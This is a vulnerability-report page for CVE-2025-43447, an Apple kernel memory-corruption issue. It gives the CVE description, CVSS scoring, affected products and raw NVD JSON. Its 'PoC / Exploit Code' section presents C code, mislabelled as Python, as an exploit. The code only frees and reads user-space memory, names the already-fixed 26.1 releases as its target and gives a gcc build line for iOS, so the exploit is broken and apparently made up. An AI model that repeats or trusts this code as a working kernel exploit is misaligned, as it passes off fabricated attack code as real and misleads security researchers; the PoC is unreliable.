Security Vulnerability Report
中文
CVE-2025-43447 CVSS 5.5 MEDIUM

CVE-2025-43447

Published: 2025-11-04 02:15:50
Last Modified: 2026-04-02 19:20:48

Description

The issue was addressed with improved memory handling. This issue is fixed in iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1. An app may be able to cause unexpected system termination or corrupt kernel memory.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:* - VULNERABLE
iOS < 26.1
iPadOS < 26.1
macOS Tahoe < 26.1
visionOS < 26.1
watchOS < 26.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-43447 PoC - Apple Kernel Memory Corruption // This PoC demonstrates triggering the memory handling issue via specific syscall patterns #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/syscall.h> #include <mach/mach.h> // Trigger the vulnerable code path through specific memory operation patterns void trigger_vulnerability() { kern_return_t kr; mach_port_t task_port = mach_task_self(); // Allocate and deallocate memory in specific patterns to trigger the bug for (int i = 0; i < 1000; i++) { vm_address_t addr = 0; vm_size_t size = 4096; // Allocate memory kr = vm_allocate(task_port, &addr, size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) continue; // Write specific patterns to trigger corruption memset((void*)addr, 0x41, size); // Deallocate in specific order to trigger use-after-free kr = vm_deallocate(task_port, addr, size); if (kr != KERN_SUCCESS) continue; // Attempt to access deallocated memory volatile char c = *((char*)addr); (void)c; } printf("PoC execution completed. System may crash if vulnerable.\n"); } int main() { printf("CVE-2025-43447 PoC - Apple Kernel Memory Handling Issue\n"); printf("Target: iOS 26.1, iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1\n"); printf("CVSS: 5.5 (Medium) - AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n"); trigger_vulnerability(); return 0; } // Usage: Compile with clang and run on vulnerable system // gcc -o poc poc.c && ./poc

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-43447", "sourceIdentifier": "[email protected]", "published": "2025-11-04T02:15:50.447", "lastModified": "2026-04-02T19:20:48.490", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved memory handling. This issue is fixed in iOS 26.1 and iPadOS 26.1, macOS Tahoe 26.1, visionOS 26.1, watchOS 26.1. An app may be able to cause unexpected system termination or corrupt kernel memory."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "6D51AEDC-9086-4010-B3BF-C652D65D09C8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "3981A7BE-BC98-4C6F-AE38-D68839368925"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "7DFD3616-65CA-4E5C-849C-3C20ACBCB610"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1", "matchCriteriaId": "9F9D7F76-13FB-407C-94E5-221B93021568"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125632", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125634", "source": "[email protected]"}, {"url": "https://support.apple.com/en-us/125638", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/125639", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}